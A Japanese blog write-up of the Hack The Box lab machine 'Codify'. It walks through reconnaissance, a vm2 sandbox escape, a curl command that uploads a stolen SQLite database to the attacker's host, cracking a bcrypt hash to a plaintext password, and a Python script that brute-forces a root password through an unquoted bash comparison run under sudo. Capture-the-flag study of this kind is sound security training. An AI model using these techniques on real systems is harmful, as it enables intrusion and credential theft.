初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Codify」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
初期探索
ポートスキャン
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.239 --top --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.239:22
Open 10.10.11.239:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 03:46 EST
Initiating Ping Scan at 03:46
Scanning 10.10.11.239 [4 ports]
Completed Ping Scan at 03:46, 0.32s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 03:46
Scanning codify.htb (10.10.11.239) [2 ports]
Discovered open port 80/tcp on 10.10.11.239
Discovered open port 22/tcp on 10.10.11.239
Completed SYN Stealth Scan at 03:46, 0.22s elapsed (2 total ports)
Nmap scan report for codify.htb (10.10.11.239)
Host is up, received echo-reply ttl 63 (0.20s latency).
Scanned at 2023-11-10 03:46:50 EST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
22と80番Portが公開されている。
実際にサイトにアクセスしてみるとcodify.htb
にアクセスできないといわれるので/etc/hosts
に登録しておく。
その後アクセスをしてみると以下のサイトが見える。
サイトの探索を開始します。
サイト探索
サブドメイン探索
以下サイトからサブドメインのリストをダウンロード
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
ffuf
で探索。
┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://codify.htb/ -H "HOST: FUZZ.codify.htb" -fc 301 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://codify.htb/
:: Wordlist : FUZZ: /root/work/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.codify.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________
:: Progress: [100000/100000] :: Job [1/1] :: 748 req/sec :: Duration: [0:02:22] :: Errors: 0 ::
何もないですね。
ディレクトリ探索
まずはdirsearch
です。
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://codify.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/codify.htb/-_23-11-10_03-43-55.txt
Error Log: /root/.dirsearch/logs/errors-23-11-10_03-43-55.log
Target: http://codify.htb/
[03:43:55] Starting:
[03:44:09] 200 - 3KB - /About
[03:44:17] 200 - 3KB - /about
[03:44:44] 200 - 3KB - /editor
[03:44:44] 200 - 3KB - /editor/
[03:45:12] 403 - 275B - /server-status/
[03:45:12] 403 - 275B - /server-status
Task Completed
一応gobuster
でも確認します。
┌──(root㉿kali)-[~/work]
└─# gobuster dir -k -u http://codify.htb/ -w directory-list-2.3-small.txt -x html -t 150
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://codify.htb/
[+] Method: GET
[+] Threads: 150
[+] Wordlist: directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about (Status: 200) [Size: 2921]
/About (Status: 200) [Size: 2921]
/editor (Status: 200) [Size: 3123]
/Editor (Status: 200) [Size: 3123]
/ABOUT (Status: 200) [Size: 2921]
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================
ないので列挙はこの辺にしてサイトをブラウジングしていきます。
ブラウジング
/editor
の階層があったのでこの辺を見てみると、何やらNode.js
の実行環境があります。
実行すると以下のようになります。
まぁコード実行できそうなら試すしかありません。
イニシャルアクセス
Malicious Node.js Code
ダメでしたね。
調べてみると以下のようにchild_process
が禁止されてました。
CVE-2023-29017
/about
のページを調査しているとvm2
のリンクを発見しました。
このリンクをたどると、githubに飛んでバージョンが分かります。
あ、ならこのバージョンの脆弱性を調査してみよう。
ということで調査すると以下の脆弱性が見つかる。
このPoCを参考にしてls
コマンドを打ってみます。
通りました!!!
RevShellをここに叩き込もうと思います。
Reverse Shell
いつもの以下のサイトを利用します。
横展開
svcのユーザ権限は取れましたが、このユーザではUserフラグを見ることが出来ません。
何か情報がないか調査を実施します。
linpeas
linpeas使います。
以下のサイトからlinpeas.shをダウンロードしてくる。
起動します。
svc@codify:/tmp$ ./linpeas.sh
./linpeas.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Get the latest version : https://github.com/sponsors/carlospolop |
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
linpeas-ng by carlospolop
...省略
╔══════════╣ Searching root files in home dirs (limit 30)
/root/
/var/www
╔══════════╣ Searching folders owned by me containing others files on it (limit 100)
╔══════════╣ Readable files belonging to root and readable by me but not world readable
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/svc
/run/lock
/run/screen
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/linpeas.sh
/tmp/.Test-unix
/tmp/tmux-1001
#)You_can_write_even_more_files_inside_last_directory
/var/crash
/var/tmp
/var/www/contact
/var/www/contact/index.js
/var/www/contact/package.json
/var/www/contact/package-lock.json
/var/www/contact/templates
/var/www/contact/templates/login.html
/var/www/contact/templates/ticket.html
/var/www/contact/templates/tickets.html
/var/www/contact/tickets.db
/var/www/editor
/var/www/editor/index.js
/var/www/editor/node_modules
/var/www/editor/node_modules/abbrev
/var/www/editor/node_modules/abbrev/abbrev.js
/var/www/editor/node_modules/abbrev/LICENSE
/var/www/editor/node_modules/abbrev/package.json
/var/www/editor/node_modules/abbrev/README.md
/var/www/editor/node_modules/accepts
...省略
/var
の階層に色々触れそうなファイルが見えるが、tickets.db
というsqliteっぽいファイルが見える。
此奴を取得して中身を確認してみる。
Transfer
Kaliでuploadserverを立てる。
┌──(root㉿kali)-[~/work]
└─# python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
curlでファイルを転送する。
svc@codify:/var/www/contact$ curl -X POST http://10.10.14.58:8000/upload -F 'files=@/var/www/contact/tickets.db'
curl -X POST http://10.10.14.58:8000/upload -F 'files=@/var/www/contact/tickets.db'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 20683 0 0 100 20683 0 33979 --:--:-- --:--:-- --:--:-- 34018
svc@codify:/var/www/contact$
md5sum
でハッシュ値が一致していれば転送成功となる。
John the Ripper
中身を確認すると以下のようにハッシュが確認できます。
johnさんに解析してもらいます。
┌──(root㉿kali)-[~/work]
└─# john --wordlist=./rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1 (?)
1g 0:00:00:30 DONE (2023-11-10 04:56) 0.03232g/s 44.21p/s 44.21c/s 44.21C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
この認証情報でSSHログインをしてみます。
入れました!これでUserフラグゲットデス!!!!
特権昇格
sudo -l
とりあえず見ときます。
joshua@codify:/tmp$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
joshua@codify:/tmp$
mysql-backup.sh
を回せそうです。
中身を確認します。
joshua@codify:/tmp$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
joshua@codify:/tmp$
...難し...
回してみる。
joshua@codify:/tmp$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmation failed!
パスワードが聞かれるようだ。
vuln bash
色々このシェルの脆弱性を調査していると以下の記事にヒットします。
クオートで囲わないと*
などでWordを拡張解釈してしまうようなので、以下が脆弱となる。
if [[ $DB_PASS == $USER_PASS ]]; then
実際に確認してみる。
*
を入力してみる。
joshua@codify:/tmp$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
rootのパスワードを渡さずともシェルが回ってしまった。
Bruteforce
上記を踏まえてExploitを考察する。
最初の文字から一つずつPassになる文字を試して後半を*
でごまかせばブルートフォースできるのではと考える。
ただコードを書くのが面倒なのでGPTさんに書いてもらった。
改良したコードは以下だ。
import subprocess
import string
# a-zA-Zまでのアルファベット
alphabet = list(string.ascii_letters)
# 数字 0-9 を追加
alphabet += list(string.digits)
# 特殊記号を追加
special_characters = ['!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '+', '=', '[', ']', '{', '}', ';', ':', ',', '.', '<', '>', '/', '?', '|', '\\']
# 各要素を結合して最終的なリストを作成
complete_list = alphabet + special_characters
password = ""
def check_password(phrase):
# コマンドを実行して出力を取得
command = f'echo "{password}{phrase}*" | sudo /opt/scripts/mysql-backup.sh'
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
# 出力から検証
if "Password confirmed!" in result.stdout:
return True
elif "Password confirmation failed!" in result.stdout:
return False
else:
# エラーまたは予期せぬ出力があった場合
print("Unexpected output:", result.stdout)
return None
# フレーズを入力
# フレーズを1文字ずつ検証
last_flag = True
while last_flag:
for i in complete_list:
if check_password(i):
password += i
print(f'{password}')
break
実行する。
パスワードぽいところでフレーズを区切りsu
コマンドを試していく。
まとめ
捻りはそこまでなく、素直なEasyBoxだったのではないでしょうか?
今回もセキュリティエンジニアの皆さんの助けになればなと思います。